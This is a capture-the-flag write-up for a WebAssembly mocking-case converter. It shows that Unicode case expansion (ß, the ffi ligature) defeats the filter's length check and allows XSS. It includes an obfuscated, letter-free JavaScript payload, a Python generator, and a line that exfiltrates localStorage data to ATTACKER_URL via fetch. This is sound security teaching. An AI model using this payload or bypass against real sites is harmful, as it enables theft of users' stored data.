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blazingfast

Description

I made a blazing fast MoCkInG CaSe converter!
blazingfast.tar
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Solution

Code Review

Looking at the site's JavaScript, we can see that the demo() function is called on the demo GET request parameter, which results in the setting of the innerHTML of the result element.
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
​
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
​
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
​
let query = new URLSearchParams(window.location.search).get('demo');
​
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
The mock() function is a wrapper for the functions exposed by the WASM module. Interestingly, the str.length is measured before converting the string to upper case - this leads to inconsistencies in length measurement of some Unicode characters.
Another interesting point to note is that when reading from the buffer, str.length is not used. Instead, characters are read until a null terminator is reached.
function mock(str) {
blazingfast.init(str.length);
​
if (str.length >= 1000) return 'Too long!';
​
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
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if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
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while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
​
return mocking;
}
}
Notably, the mock() function in the WASM module also uses the initialized length, which is set to str.length to validate the buffer.
Therefore, if the str.length is shorter than the actual number of characters written into the buffer, the mock() function will not check the entire buffer, allowing the <>&" characters.
int length, ptr = 0;
char buf[1000];
​
void init(int size) {
length = size;
ptr = 0;
}
​
char read() {
return buf[ptr++];
}
​
void write(char c) {
buf[ptr++] = c;
}
​
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
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if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
​
ptr = 0;
​
return 0;
}

Problematic Unicode

When converting to upper case, some Unicode characters like ß turn into multiple characters instead. ß is converted to SS, which falls within the range of 0 to 128, passing the if (c.charCodeAt(0) > 128) return 'Nice try.'; check.
When str.length is initialized, the single character ß is used to calculate the length. However, when writing to the buffer, two characters SS are written instead. This allows us to bypass the XSS validation.
For instance, ß< will have a length of 2, but is converted to SS< when writing to the buffer. The mock() function uses the initialized length to iterate through the buffer in the for (int i = 0; i < length; i ++) loop, missing out the final < character.

Building the Payload

Our final hurdle lies in the fact that JavaScript is a case-sensitive language, and our payload is converted to upper case before being added to the innerHTML. For example, if we use eval() as our JavaScript payload, then EVAL() will be called - but the EVAL function is not defined.
I found inspiration from this post, which shows how we can construct an XSS vector without using letters. In his payload, the following is used to build ""["sub"]["constructor"]("alert(1)")().
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
To modify this payload for our purposes, I just had to change the part where the "alert(1)" stirng is constructed, and replace it with octal characters for our JavaScript payload, which was
fetch('https://ATTACKER_URL/?' + localStorage.getItem('flag'))
The following script generates the XSS payload, using <img src="x" onerror=PAYLOAD>.
import urllib.parse
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# Obfuscation inspired by https://techiavellian.com/constructing-an-xss-vector-using-no-letters
​
payload = '<img src="x" onerror=\'""[(!1+"")[3]+(!0+"")[2]+(""+{})[2]][(""+{})[5]+(""+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(""+{})[2]])+"")[2]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+(!0+"")[2]+(""+{})[5]+(!0+"")[0]+(""+{})[1]+(!0+"")[1]]("\\146\\145\\164\\143\\150...")()\'>'
special_char = 'ffi'
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print(urllib.parse.quote_plus(special_char * (len(payload) // 2 + 1) + payload))